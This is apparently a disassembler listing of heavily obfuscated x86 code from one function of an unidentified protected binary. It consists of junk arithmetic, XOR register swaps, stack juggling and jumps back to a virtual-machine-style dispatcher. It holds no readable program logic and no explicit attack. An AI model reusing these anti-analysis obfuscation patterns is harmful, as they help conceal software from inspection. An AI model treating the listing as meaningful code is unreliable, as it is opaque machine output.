; --------------------------------------------------------------------------- loc_59D4FD: ; CODE XREF: sub_580566+1D8A5j sub dl, 0ADh add bl, dl mov edx, [esp-56h+arg_4E] add esp, 4 add al, bl pop ebx sub al, 0B4h jmp loc_5A1CDD ; --------------------------------------------------------------------------- loc_59D512: ; CODE XREF: sub_580566+15681j add ebx, 4 xor ebx, [esp-20h+arg_16+2] jmp loc_59D757 ; --------------------------------------------------------------------------- loc_59D51D: ; CODE XREF: sub_580566+24EC3j add eax, 4 add eax, 4 xor eax, [esp-20h+arg_16+2] xor [esp-20h+arg_16+2], eax xor eax, [esp-20h+arg_16+2] jmp loc_5A2524 ; --------------------------------------------------------------------------- loc_59D535: ; CODE XREF: sub_580566+11DC1j pop cx jmp loc_59FFCE ; --------------------------------------------------------------------------- loc_59D53C: ; CODE XREF: sub_580566+145DFj mov dl, 43h jmp loc_5A0FD4 ; --------------------------------------------------------------------------- loc_59D543: ; CODE XREF: sub_580566+1D8EFj xor ebp, ebx jmp loc_5955D5 ; --------------------------------------------------------------------------- loc_59D54A: ; CODE XREF: sub_580566+17D18j sub eax, ebx mov ebx, [esp-32h+arg_28+2] add esp, 4 sub eax, 70B9668Bh add eax, edx jmp loc_59AAEC ; --------------------------------------------------------------------------- loc_59D55E: ; CODE XREF: sub_580566+13F4Dj neg ebx shl ebx, 6 xor ebx, 72840B27h xor eax, ebx pop ebx push edx push 70CBh mov [esp-3Ah+arg_30+2], edi mov edi, 2544BFFh mov edx, 6B95D933h add edx, edi jmp loc_5A2BC6 ; --------------------------------------------------------------------------- loc_59D586: ; CODE XREF: sub_580566+1F5E0j push ecx mov ecx, 7762429Bh jmp loc_59C3C6 ; --------------------------------------------------------------------------- loc_59D591: ; CODE XREF: sub_580566+199F1j add ebp, 4 push ebp jmp loc_5A121E ; --------------------------------------------------------------------------- loc_59D59D: ; CODE XREF: sub_580566+1B38Ej sub edi, eax push ecx jmp loc_59A905 ; --------------------------------------------------------------------------- loc_59D5A5: ; CODE XREF: sub_580566+23C79j mov [esp-18h+arg_E+2], ebx mov ebx, esp push 1761h mov [esp-14h+arg_A+2], edx mov edx, 4 push edi jmp loc_59B9B4 ; --------------------------------------------------------------------------- loc_59D5BD: ; CODE XREF: sub_580566+1F6B9j mov dx, [esp+0] jmp loc_5A4D5E ; --------------------------------------------------------------------------- loc_59D5C6: ; CODE XREF: sub_580566+1B75Dj mov ebx, 58C06BCh shr ebx, 1 shr ebx, 8 push ecx mov ecx, 0 sub ecx, ebx push ebx push ecx jmp loc_5A048C ; --------------------------------------------------------------------------- loc_59D5DF: ; CODE XREF: sub_580566+1857Fj sub edi, eax pop eax push edx mov edx, 2AB14F3Eh inc edx jmp loc_5A2B6F ; --------------------------------------------------------------------------- loc_59D5EE: ; CODE XREF: sub_580566+216F4j inc ecx xchg eax, ecx xchg eax, edi not edi xchg eax, edi xchg eax, ecx xchg eax, ecx not eax push ecx push eax pop ecx pop eax push 608Dh mov [esp-42h+arg_38+2], ecx not [esp-42h+arg_38+2] mov ecx, [esp-42h+arg_38+2] push edi jmp loc_5943A1 ; --------------------------------------------------------------------------- loc_59D610: ; CODE XREF: sub_580566+145A1j mov edx, 2A7E4F6Bh neg edx jmp loc_5A1F0F ; --------------------------------------------------------------------------- loc_59D61C: ; CODE XREF: sub_580566+1B868j add edi, ebx pop ebx xor edi, 4BDA9942h jmp loc_59A45F ; --------------------------------------------------------------------------- loc_59D62A: ; CODE XREF: sub_580566+249BCj pop edx or dl, bl pop ebx jmp loc_5920D5 ; --------------------------------------------------------------------------- loc_59D633: ; CODE XREF: sub_580566+17FD9j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-3Ah+arg_30+2] pop esp push edx push 0E7B3228h pop edx sub ebx, 3697804h add ebx, edx add ebx, 3697804h mov edx, [esp-3Ah+arg_30+2] push ecx jmp loc_59D8B8 ; --------------------------------------------------------------------------- loc_59D664: ; CODE XREF: sub_580566+1FAE3j mov [esp-36h+arg_2C+2], ebp push esp pop ebp jmp loc_5990A8 ; --------------------------------------------------------------------------- loc_59D66E: ; CODE XREF: sub_580566+12791j mov ebp, 0C81931DEh push ebx jmp loc_59E28F ; --------------------------------------------------------------------------- loc_59D679: ; CODE XREF: sub_580566+1CA1Bj mov ecx, 77D22F81h sub ebp, ecx jmp loc_59BECA ; --------------------------------------------------------------------------- loc_59D685: ; CODE XREF: sub_580566+173FAj mov [esp-3Eh+arg_34+2], esp add [esp-3Eh+arg_34+2], 4 jmp loc_5A2640 ; --------------------------------------------------------------------------- loc_59D694: ; CODE XREF: sub_580566+1A66Fj add eax, 4 push ebx mov ebx, 4 jmp loc_5A0D78 ; --------------------------------------------------------------------------- loc_59D6A4: ; CODE XREF: sub_580566+1C54Ej mov eax, 22661EEEh push ecx jmp loc_597064 ; --------------------------------------------------------------------------- loc_59D6AF: ; CODE XREF: sub_580566+12CC2j add esp, 4 jmp loc_5A1F38 ; --------------------------------------------------------------------------- loc_59D6BA: ; CODE XREF: sub_580566+15507j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59D6BF: ; CODE XREF: sub_580566+19C71j pop ax add bl, al sub esp, 4 mov [esp-4Ah+arg_40+2], edx push ecx push edx mov dl, 0A2h and dl, 0D5h or dl, 42h jmp loc_594B0C ; --------------------------------------------------------------------------- loc_59D6D8: ; CODE XREF: sub_580566+105BAj mov ecx, 4 add ebp, ecx jmp loc_5A04AA ; --------------------------------------------------------------------------- loc_59D6E4: ; CODE XREF: sub_580566+1D28Bj mov [esp-56h+arg_4E], esi mov esi, esp push 7B27h mov [esp-52h+arg_48+2], ebx push 427C4813h pop ebx or ebx, 79AB56C3h shl ebx, 8 or ebx, 55395593h push esi mov esi, 7C036BE2h sub esi, 6689F53Eh add ebx, esi pop esi add ebx, 0EB06B1CDh jmp loc_59B39C ; --------------------------------------------------------------------------- loc_59D720: ; CODE XREF: sub_580566+1D4DFj mov [esp-52h+arg_48+2], ecx push edx mov dh, 79h mov cl, 42h jmp loc_592196 ; --------------------------------------------------------------------------- loc_59D72D: ; CODE XREF: sub_580566+17A76j sub dh, bh mov ebx, [esp-44h+arg_3C] add esp, 4 sub al, 0F7h sub al, dh add al, 0F7h pop edx sub al, cl add al, 0ACh jmp loc_59416C ; --------------------------------------------------------------------------- loc_59D745: ; CODE XREF: sub_580566+21C68j xor edi, [esp-4Ch+arg_44] xor [esp-4Ch+arg_44], edi xor edi, [esp-4Ch+arg_44] pop esp push [esp-50h+arg_48] jmp loc_5A3E07 ; --------------------------------------------------------------------------- loc_59D757: ; CODE XREF: sub_580566+1CFB2j xor [esp-20h+arg_16+2], ebx jmp loc_5A359C ; --------------------------------------------------------------------------- loc_59D75F: ; CODE XREF: sub_580566+14B96j pop [esp-3Ch+arg_34] add [esp-40h+arg_38], 4 mov edx, [esp-40h+arg_38] add esp, 4 push 766Dh mov [esp-40h+arg_38], ebp push 2521h jmp loc_59E872 ; --------------------------------------------------------------------------- loc_59D784: ; CODE XREF: sub_580566+2511Aj or esi, 72A616E9h push ebx mov ebx, 46155F78h add ebx, 0FFA9A172h xor esi, ebx pop ebx sub edx, esi pop esi add edx, ebp push esi mov esi, 517B25B4h xor esi, 632213A7h add edx, esi jmp loc_5958BB ; --------------------------------------------------------------------------- mov cx, word ptr [esp-3Ch+arg_34] push 4D8Ch mov [esp-38h+arg_30], eax sub esp, 4 mov [esp-34h+arg_2C], esp add [esp-34h+arg_2C], 4 push [esp-34h+arg_2C] pop eax sub esp, 4 jmp loc_5A092E ; --------------------------------------------------------------------------- loc_59D7D6: ; CODE XREF: sub_580566+10546j pop eax push esi jmp loc_59EE65 ; --------------------------------------------------------------------------- loc_59D7DD: ; CODE XREF: sub_580566+22716j add edx, 76AE3F0Bh sub edx, ebp sub edx, 76AE3F0Bh pop ebp pop ecx xchg edx, [esp-62h+arg_5A] pop esp jmp loc_59D6E4 ; --------------------------------------------------------------------------- loc_59D7F6: ; CODE XREF: sub_580566+1D733j push esi mov esi, 460509C9h dec esi sub esi, 1E36031Bh or eax, esi pop esi shr eax, 7 push 258Ch jmp loc_594475 ; --------------------------------------------------------------------------- loc_59D813: ; CODE XREF: sub_580566+19C38j mov di, si jmp loc_590F8F ; --------------------------------------------------------------------------- loc_59D81B: ; CODE XREF: sub_580566+1C0C1j push esp pop edi jmp loc_5A0733 ; --------------------------------------------------------------------------- loc_59D822: ; CODE XREF: sub_580566+108FFj xchg cl, dh add dh, 7Ch dec dh jmp loc_592CFC ; --------------------------------------------------------------------------- loc_59D82E: ; CODE XREF: sub_580566+16A8Cj push ebx mov ebx, 21B77574h and ebx, 6CB95866h dec ebx jmp loc_590F1C ; --------------------------------------------------------------------------- loc_59D840: ; CODE XREF: sub_580566+13E19j pop ebp add [esp-2Ch+arg_2C], ebp mov ebp, [esp-2Ch+arg_24] push edx push esp pop edx add edx, 4 jmp loc_597742 ; --------------------------------------------------------------------------- loc_59D856: ; CODE XREF: sub_580566+1338Aj pop eax xor ebx, [esp-34h+arg_2C] xor [esp-34h+arg_2C], ebx xor ebx, [esp-34h+arg_2C] jmp loc_595CE2 ; --------------------------------------------------------------------------- loc_59D865: ; CODE XREF: sub_580566+14D18j push edi mov edi, 3D1F3D1Bh add edi, 13C13732h sub ecx, edi jmp loc_59B44A ; --------------------------------------------------------------------------- loc_59D878: ; CODE XREF: sub_580566+1FF55j pop esi add esi, 20A273ACh pop edi and ecx, esi mov esi, [esp-32h+arg_28+2] jmp loc_5954D4 ; --------------------------------------------------------------------------- loc_59D88A: ; CODE XREF: sub_580566+1D424j add esp, 4 jmp loc_59354C ; --------------------------------------------------------------------------- loc_59D892: ; CODE XREF: sub_580566+1514Bj sub ebx, 0E16CE663h jmp loc_5912BB ; --------------------------------------------------------------------------- loc_59D89D: ; CODE XREF: sub_580566+129B9j xor [esp-4Eh+arg_44+2], ebp xor ebp, [esp-4Eh+arg_44+2] jmp loc_5A2974 ; --------------------------------------------------------------------------- loc_59D8A8: ; CODE XREF: sub_580566+1CCFAj add edi, edx push [esp-30h+arg_28] pop edx add esp, 4 sub edi, ebx jmp loc_5A4325 ; --------------------------------------------------------------------------- loc_59D8B8: ; CODE XREF: sub_580566+1D0F9j mov ecx, esp add ecx, 4 push eax mov eax, 4 jmp loc_591A5C ; --------------------------------------------------------------------------- loc_59D8CB: ; CODE XREF: sub_580566+24375j sub esi, eax pop eax add esi, edx push eax jmp loc_59CC03 ; --------------------------------------------------------------------------- loc_59D8D6: ; CODE XREF: sub_580566+2265Bj pop eax xor edx, ebx pop ebx sub edi, edx pop edx mov esi, edi mov edi, [esp-3Eh+arg_34+2] push eax mov eax, esp jmp loc_591B42 ; --------------------------------------------------------------------------- loc_59D8EA: ; CODE XREF: sub_580566+18F7Dj xchg edi, [esp-42h+arg_38+2] pop esp push [esp-46h+arg_3C+2] pop edx push ebx mov ebx, esp push ebp sub esp, 4 mov [esp-3Ah+arg_30+2], esi sub esp, 4 mov [esp-36h+arg_2C+2], edx jmp loc_59F8F0 ; --------------------------------------------------------------------------- loc_59D90A: ; CODE XREF: sub_580566+12246j add bh, 67h dec bh shr bh, 7 jmp loc_5A1DF6 ; --------------------------------------------------------------------------- loc_59D917: ; CODE XREF: sub_580566+15016j pop eax sub edx, 60775E7h sub edx, esi add edx, 60775E7h mov esi, [esp-2Ch+arg_24] jmp loc_59EFAF ; --------------------------------------------------------------------------- loc_59D92E: ; CODE XREF: sub_580566+18214j push [esp-38h+arg_30] pop ebp jmp loc_5A021C ; --------------------------------------------------------------------------- loc_59D937: ; CODE XREF: sub_580566+22870j add edi, 4 xchg edi, [esp-38h+arg_30] jmp loc_5A3383 ; --------------------------------------------------------------------------- loc_59D942: ; CODE XREF: sub_580566+13957j add edi, esi add edi, 331E7588h sub edi, 328D7068h mov esi, [esp-42h+arg_38+2] add esp, 4 and eax, edi pop edi jmp loc_59DD9F ; --------------------------------------------------------------------------- loc_59D961: ; CODE XREF: sub_580566+25434j xor edi, 3B2825BCh xor eax, edi jmp loc_59261F ; --------------------------------------------------------------------------- loc_59D96E: ; CODE XREF: sub_580566+249D7j pop esp mov [esp-4Eh+arg_44+2], edx mov dl, 99h push eax mov ah, 0C4h jmp loc_591B32 ; --------------------------------------------------------------------------- loc_59D97C: ; CODE XREF: sub_580566+12CEAj add ebp, ecx jmp loc_592ECD ; --------------------------------------------------------------------------- loc_59D983: ; CODE XREF: sub_580566+1F50Aj add edx, ecx pop ecx push [esp-46h+arg_3C+2] pop esi jmp loc_59D88A ; --------------------------------------------------------------------------- loc_59D98F: ; CODE XREF: sub_580566+1498Fj mov [esp-4Ch+arg_44], ebx sub [esp-4Ch+arg_44], 671363C3h push [esp-4Ch+arg_44] mov eax, [esp-48h+arg_40] add esp, 4 jmp loc_59B8C7 ; --------------------------------------------------------------------------- loc_59D9AA: ; CODE XREF: sub_580566+1993Ej shr ebp, 1 or ebp, 0EF2084Bh shr ebp, 3 dec ebp push eax mov eax, 54F111Dh jmp loc_593F04 ; --------------------------------------------------------------------------- loc_59D9C1: ; CODE XREF: sub_580566+1BDF5j add ecx, ebp push edi mov edi, 56A3058Eh add ecx, edi jmp loc_596E4E ; --------------------------------------------------------------------------- loc_59D9D0: ; CODE XREF: sub_580566+22F79j pop ebx jmp loc_598163 ; --------------------------------------------------------------------------- loc_59D9D6: ; CODE XREF: sub_580566+1DE1Fj xor ebp, [esp-32h+arg_28+2] jmp loc_5A5880 ; --------------------------------------------------------------------------- loc_59D9DE: ; CODE XREF: sub_580566+10838j pop esp xor eax, [esp-58h+arg_4E+2] xor [esp-58h+arg_4E+2], eax xor eax, [esp-58h+arg_4E+2] mov esp, [esp-58h+arg_4E+2] jmp loc_59D02F ; --------------------------------------------------------------------------- loc_59D9F0: ; CODE XREF: sub_580566+1CF60j pop ecx jmp loc_590D9B ; --------------------------------------------------------------------------- loc_59D9F6: ; CODE XREF: sub_580566+1B5B3j pop [esp-3Eh+arg_34+2] jmp loc_5A1E18 ; --------------------------------------------------------------------------- loc_59D9FE: ; CODE XREF: sub_580566+1177Dj sub esp, 4 mov [esp-38h+arg_30], ebx mov ebx, 2191250Ch jmp loc_59BF6C ; --------------------------------------------------------------------------- loc_59DA0E: ; CODE XREF: sub_580566+1DB0Bj mov [esp-38h+arg_30], ebx mov bl, 52h shr bl, 5 push eax mov al, 5Dh add bl, al pop eax add ch, 20h add ch, bl sub ch, 20h push [esp-38h+arg_30] push [esp-34h+arg_2C] pop ebx add esp, 4 add esp, 4 sub al, ch pop ecx sub esp, 4 mov [esp-3Ch+arg_34], ebx push 7383h jmp loc_59D720 ; --------------------------------------------------------------------------- word_59DA4A dw 0EB68h ; DATA XREF: sub_580566+1028Ao dd 68000062h, 33FBh, 2AB468h, 3C37E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59DA5E: ; CODE XREF: sub_580566+20A32j sub edi, 0FFFFFFFFh push 5709h mov [esp-34h+arg_2C], edx mov edx, 51C75F94h dec edx jmp loc_5A48EA ; --------------------------------------------------------------------------- loc_59DA77: ; CODE XREF: sub_580566+1EA0Cj add edx, ebp add edx, 38F97ED1h jmp loc_5A33D4 ; --------------------------------------------------------------------------- loc_59DA84: ; CODE XREF: sub_580566+1DF6Fj mov ebp, 39FE1471h add ebp, 4FC465B1h sub ebp, edi sub ebp, 4FC465B1h pop edi sub ebx, ebp pop ebp xchg ebx, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] jmp loc_594920 ; --------------------------------------------------------------------------- loc_59DAA6: ; CODE XREF: sub_580566+1B449j push ecx push esp pop ecx add ecx, 4 jmp loc_59A958 ; --------------------------------------------------------------------------- loc_59DAB4: ; CODE XREF: sub_580566+1361Dj mov [esp-40h+arg_38], ecx push ebp mov ebp, 298840E1h shl ebp, 3 dec ebp push ebx jmp loc_5A4727 ; --------------------------------------------------------------------------- loc_59DAC7: ; CODE XREF: sub_580566+20451j mov ebx, [esp-38h+arg_30] add esp, 4 push edx push 2E6h mov [esp-34h+arg_2C], esp add [esp-34h+arg_2C], 4 jmp loc_59D28D ; --------------------------------------------------------------------------- loc_59DADF: ; DATA XREF: sub_580566+104DAo push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp-36h+arg_2C+2], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59DAEF: ; CODE XREF: sub_580566+15209j pop esp mov [esp-1Ch+arg_12+2], esp add [esp-1Ch+arg_12+2], 4 pop edx push edi push ecx jmp loc_5A119D ; --------------------------------------------------------------------------- loc_59DAFF: ; CODE XREF: sub_580566+24243j add eax, 4 sub eax, 4 jmp loc_596D84 ; --------------------------------------------------------------------------- loc_59DB0E: ; CODE XREF: sub_580566+2387Fj pop eax push cx jmp loc_5937F4 ; --------------------------------------------------------------------------- loc_59DB16: ; CODE XREF: sub_580566+20607j shl esi, 4 push ebp mov ebp, 17C84AAEh inc ebp sub ebp, 59DE303Dh or ebp, 4DA73D9Eh shl ebp, 4 xor ebp, 1E8C5223h sub esi, ebp pop ebp add esi, 0FFFFFFFFh xor esi, 4AB471C2h mov eax, esi jmp loc_599A9F ; --------------------------------------------------------------------------- loc_59DB4B: ; CODE XREF: sub_580566+10C52j add ebp, 4 push eax mov eax, 39F47192h jmp loc_59D26C ; --------------------------------------------------------------------------- loc_59DB5C: ; CODE XREF: sub_580566+202F2j pop ecx sub ebp, 613F4BB6h neg ebp push ecx mov ecx, 2423404h xor ebp, ecx jmp loc_5A18F2 ; --------------------------------------------------------------------------- loc_59DB72: ; CODE XREF: sub_580566+188F3j add edx, 4 xor edx, [esp-4Ah+arg_40+2] jmp loc_592A1C ; --------------------------------------------------------------------------- loc_59DB7D: ; CODE XREF: sub_580566+19981j xchg edx, [esp-24h+arg_1A+2] pop esp sub eax, 381647E3h add eax, esi add eax, 381647E3h pop esi jmp loc_5915AA ; --------------------------------------------------------------------------- loc_59DB93: ; CODE XREF: sub_580566+1DD30j pop ebx sub esi, 76C675B0h sub esi, ebp add esi, 76C675B0h jmp loc_598528 ; --------------------------------------------------------------------------- loc_59DBA7: ; CODE XREF: sub_580566+14A64j sub ecx, 4 xchg ecx, [esp-4Eh+arg_44+2] jmp loc_5A2E0D ; --------------------------------------------------------------------------- loc_59DBB5: ; CODE XREF: sub_580566+248D7j mov esi, esp jmp loc_5A1DAD ; --------------------------------------------------------------------------- loc_59DBBC: ; CODE XREF: sub_580566+244CAj xor [esp-4Eh+arg_44+2], esi xor esi, [esp-4Eh+arg_44+2] pop esp mov [esp-52h+arg_48+2], ebx mov bh, 0BEh push eax mov ah, 0CAh jmp loc_593023 ; --------------------------------------------------------------------------- loc_59DBD0: ; CODE XREF: sub_580566+12FB0j push edx mov edx, 4 push edi mov edi, 6392182Fh shr edi, 5 jmp loc_5998BC ; --------------------------------------------------------------------------- loc_59DBE4: ; CODE XREF: sub_580566+1C5D1j mov ebx, 4 add ebp, ebx pop ebx xor ebp, [esp-20h+arg_16+2] xor [esp-20h+arg_16+2], ebp xor ebp, [esp-20h+arg_16+2] mov esp, [esp-20h+arg_16+2] jmp loc_590A9B ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_59EACF ; --------------------------------------------------------------------------- loc_59DC04: ; CODE XREF: sub_580566+1995Bj mov ecx, [esp-42h+arg_38+2] jmp loc_59276C ; --------------------------------------------------------------------------- loc_59DC0C: ; CODE XREF: sub_580566+22A98j not edx sub edx, 32A6440Ch sub ebp, edx pop edx and ecx, ebp push [esp-46h+arg_3C+2] mov ebp, [esp-42h+arg_38+2] add esp, 4 add esp, 4 shr ecx, 7 jmp loc_59561D ; --------------------------------------------------------------------------- loc_59DC30: ; CODE XREF: sub_580566+1ACD0j pop ebx add ecx, 57220Bh add edx, ecx jmp loc_593D57 ; --------------------------------------------------------------------------- loc_59DC3E: ; CODE XREF: sub_580566+1E12Dj push [esp-28h+arg_24] pop edi pop [esp-28h+arg_20] mov esp, [esp-2Ch+arg_24] add ebx, 2 xor ebx, [esp-2Ch+arg_24] xor [esp-2Ch+arg_24], ebx xor ebx, [esp-2Ch+arg_24] mov esp, [esp-2Ch+arg_24] shl [esp-2Ch+arg_24], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59DC64: ; CODE XREF: sub_580566+2404Dj push [esp-28h+arg_24] pop ebx pop [esp-28h+arg_20] mov esp, [esp-2Ch+arg_24] jmp loc_59F568 ; --------------------------------------------------------------------------- loc_59DC74: ; CODE XREF: sub_580566+22151j mov eax, [esp-2Ch+arg_24] jmp loc_5A1C33 ; --------------------------------------------------------------------------- loc_59DC7C: ; CODE XREF: sub_580566+1AF59j sub eax, 2846418Ah sub eax, 46EA3CB8h sub esp, 4 mov [esp-34h+arg_2C], edx mov edx, esp push edi jmp loc_5994E8 ; --------------------------------------------------------------------------- loc_59DC94: ; CODE XREF: sub_580566+139F4j or eax, 420D6D8Eh jmp loc_59D7F6 ; --------------------------------------------------------------------------- loc_59DC9E: ; CODE XREF: sub_580566+11D30j sub esp, 4 mov [esp-38h+arg_30], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-38h+arg_30] jmp loc_59FA09 ; --------------------------------------------------------------------------- loc_59DCBA: ; CODE XREF: sub_580566+20C66j push ecx mov ecx, 4 add [esp-34h+arg_30], ecx pop ecx mov eax, [esp-38h+arg_30] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-34h+arg_2C] pop esp sub esp, 4 mov [esp-34h+arg_2C], ebx mov ebx, 740D04C9h push ecx jmp loc_592515 ; --------------------------------------------------------------------------- loc_59DCEF: ; CODE XREF: sub_580566+219A4j not ecx jmp loc_5916B9 ; --------------------------------------------------------------------------- loc_59DCF6: ; CODE XREF: sub_580566+1C845j or ecx, ebx pop ebx xor ecx, 0E1E4AEFh sub ebp, ecx mov ecx, [esp-32h+arg_28+2] add esp, 4 and eax, ebp pop ebp shr eax, 12h xor eax, ecx xchg eax, ebx xor ebx, esi xor esi, ebx jmp loc_59728C ; --------------------------------------------------------------------------- loc_59DD1C: ; CODE XREF: sub_580566+135A2j push ebp mov ebp, 307617CEh dec ebp shr ebp, 1 sub ebp, 14F6C7DEh sub esi, 771E5989h sub esi, ebp add esi, 771E5989h pop ebp sub esi, 47853C1Ah add esi, edi push ecx jmp loc_5A2A4D ; --------------------------------------------------------------------------- loc_59DD48: ; CODE XREF: sub_580566+219AAj mov ebx, 681261E1h jmp loc_59C2F2 ; --------------------------------------------------------------------------- loc_59DD52: ; CODE XREF: sub_580566+187D0j mov eax, esp add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_59A5F1 ; --------------------------------------------------------------------------- loc_59DD67: ; CODE XREF: sub_580566+125C7j xor ebp, edx jmp loc_595EE1 ; --------------------------------------------------------------------------- loc_59DD6E: ; CODE XREF: sub_580566+225CAj push 4CF448C4h mov ecx, [esp-14h+arg_A+2] jmp loc_591E8A ; --------------------------------------------------------------------------- loc_59DD7B: ; CODE XREF: sub_580566+19F32j mov eax, esp jmp loc_593C5B ; --------------------------------------------------------------------------- loc_59DD82: ; CODE XREF: sub_580566+1EF69j mov [esp-1Ah+arg_12], ecx jmp loc_5A3857 ; --------------------------------------------------------------------------- loc_59DD8A: ; CODE XREF: sub_580566+125D3j pop ebx add edi, 7DD413E4h add edi, ebp sub edi, 7DD413E4h pop ebp jmp loc_5A320F ; --------------------------------------------------------------------------- loc_59DD9F: ; CODE XREF: sub_580566+1D3F6j or eax, eax jz loc_5A378E push dword ptr [edi+1Ch] push [esp-46h+arg_3C+2] mov ecx, [esp-42h+arg_38+2] jmp loc_596198 ; --------------------------------------------------------------------------- loc_59DDB5: ; CODE XREF: sub_580566+106A4j mov [esp-4Eh+arg_44+2], edi mov edi, 1 add esi, edi pop edi not esi xchg ecx, esi not ecx jmp loc_59A60D ; --------------------------------------------------------------------------- loc_59DDCB: ; CODE XREF: sub_580566+24903j push eax push edx push esi push 1DC555C6h pop esi or esi, 6E4660D7h push ecx mov ecx, 1C34409Ah add ecx, 6393353Dh xor esi, ecx pop ecx push esi sub [esp-42h+arg_38+2], 2BEA67A4h pop edx jmp loc_5A26BC ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- and al, 24h jmp loc_595AE2 ; --------------------------------------------------------------------------- loc_59DDFF: ; CODE XREF: sub_580566+16351j or bl, 71h push edx mov dl, 5Eh shl dl, 7 shr dl, 8 jmp loc_59D4FD ; --------------------------------------------------------------------------- loc_59DE10: ; CODE XREF: sub_580566+14767j mov esi, 4 add ebp, esi pop esi xchg ebp, [esp-24h+arg_1A+2] mov esp, [esp-24h+arg_1A+2] jmp loc_5949B0 ; --------------------------------------------------------------------------- loc_59DE23: ; CODE XREF: sub_580566+1C1C9j pop eax jmp loc_59A0DE ; --------------------------------------------------------------------------- loc_59DE29: ; CODE XREF: sub_580566+10D8Bj pop ecx shr bl, 8 and bl, 0D4h and bl, 86h or bl, 7Bh add bl, 0EBh jmp loc_5967C7 ; --------------------------------------------------------------------------- loc_59DE3E: ; CODE XREF: sub_580566+193B3j neg eax sub eax, 762E0484h shr eax, 6 sub eax, 3B7B4180h sub eax, 80C9BC13h mov ebp, eax pop eax jmp loc_59D543 ; --------------------------------------------------------------------------- loc_59DE5A: ; CODE XREF: sub_580566+237C8j push edx push ebx mov bh, 0ECh mov dh, 0AEh add dh, bh pop ebx xchg al, dh not al xchg al, dh push ax push ebx mov bh, cl jmp loc_590E5A ; --------------------------------------------------------------------------- loc_59DE73: ; CODE XREF: sub_580566+199B5j add eax, esi jmp loc_591CBB ; --------------------------------------------------------------------------- loc_59DE7A: ; CODE XREF: sub_580566+147A8j xor cl, bh jmp loc_5A56DF ; --------------------------------------------------------------------------- loc_59DE81: ; CODE XREF: sub_580566+13FEFj add esp, 4 push ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 44C32C33h push ebp mov ebp, 140C5206h shl ebp, 4 add ebp, 0E2E8114Eh sub ebx, ebp pop ebp xor ebx, 3E0143D5h push esi mov esi, 201F22AEh dec esi not esi shl esi, 6 add esi, 584D6431h or esi, 4BB33FF8h jmp loc_59CB8F ; --------------------------------------------------------------------------- loc_59DEC8: ; CODE XREF: sub_580566+1185Cj xchg ebx, [esp+0] pop esp push 4EBAh mov [esp+0], edx mov edx, esp add edx, 4 jmp loc_5940BD ; --------------------------------------------------------------------------- loc_59DEE1: ; CODE XREF: sub_580566+22DD3j add bl, 0BAh push ecx jmp loc_599C8D ; --------------------------------------------------------------------------- loc_59DEEA: ; CODE XREF: sub_580566+21E09j push 60DEh mov [esp-4Ch+arg_44], esi push [esp-4Ch+arg_48] mov esi, [esp-48h+arg_40] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-44h+arg_3C] jmp loc_593E20 ; --------------------------------------------------------------------------- loc_59DF10: ; CODE XREF: sub_580566+131B2j sub bl, ah pop eax push 13E6h mov [esp-42h+arg_38+2], ebx push edx mov edx, esp add edx, 4 jmp loc_59B000 ; --------------------------------------------------------------------------- loc_59DF29: ; CODE XREF: sub_580566+1FC15j mov ebx, edx pop edx xor ebx, 0D6E0E55h xor eax, ebx jmp loc_5A421C ; --------------------------------------------------------------------------- loc_59DF39: ; CODE XREF: sub_580566+105D2j add eax, ebx sub eax, 7F304BE5h push edi mov edi, 165E543Ah sub edi, 0DB182C4Bh sub eax, edi pop edi mov ebx, [esp-5Ah+arg_52] add esp, 4 push ebx mov ebx, 2 push 52F5h mov [esp-56h+arg_4E], edx jmp loc_5A20F7 ; --------------------------------------------------------------------------- loc_59DF68: ; CODE XREF: sub_580566+253F5j shr eax, 2 push edi mov edi, 0C0104085h add eax, edi jmp loc_59C9F9 ; --------------------------------------------------------------------------- loc_59DF78: ; CODE XREF: sub_580566+140A7j pop esi neg ebx jmp loc_590BB5 ; --------------------------------------------------------------------------- loc_59DF80: ; CODE XREF: sub_580566+16E9Dj mov esi, [esp-70h+arg_66+2] add esp, 4 push 0 sub [esp-70h+arg_66+2], ebp pop ebp xor ebp, 27E42ABh push edi jmp loc_596CFA ; --------------------------------------------------------------------------- loc_59DF9E: ; CODE XREF: sub_580566+2475Aj add ebx, ecx mov ecx, [esp-70h+arg_66+2] add esp, 4 xor ebx, [esp-74h+arg_6A+2] xor [esp-74h+arg_6A+2], ebx xor ebx, [esp-74h+arg_6A+2] mov esp, [esp-74h+arg_6A+2] imul cx, ax push cx pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59DFC1: ; CODE XREF: sub_580566+17599j pop esp or ebx, 486F28B0h shl ebx, 3 neg ebx push edi mov edi, 31EA24DAh xchg ebp, edi jmp loc_5A5219 ; --------------------------------------------------------------------------- loc_59DFDA: ; CODE XREF: sub_580566+18E56j pop ecx sub ebp, 4 xchg ebp, [esp-28h+arg_20] jmp loc_5A5700 ; --------------------------------------------------------------------------- loc_59DFE6: ; CODE XREF: sub_580566+1B620j mov [esp-3Ah+arg_30+2], edx mov edx, 20256A5h sub ecx, edx pop edx add edx, ecx pop ecx push edi mov edi, 4984290Ah xchg eax, edi jmp loc_5A182F ; --------------------------------------------------------------------------- loc_59E000: ; CODE XREF: sub_580566+1C765j add esi, ebx sub esi, 1F9214Eh pop ebx add esi, 4 jmp loc_59C7C9 ; --------------------------------------------------------------------------- loc_59E014: ; CODE XREF: sub_580566+1EEE8j add esp, 2 add al, dl push [esp-20h+arg_16+2] jmp loc_5A4B71 ; --------------------------------------------------------------------------- loc_59E024: ; CODE XREF: sub_580566+10C41j add esp, 4 jmp loc_5A13FD ; --------------------------------------------------------------------------- loc_59E02C: ; CODE XREF: sub_580566+127FBj mov eax, 65C12497h neg eax add eax, 65C1249Bh add ebx, 69277F78h add ebx, eax sub ebx, 69277F78h pop eax jmp loc_5A2D6E ; 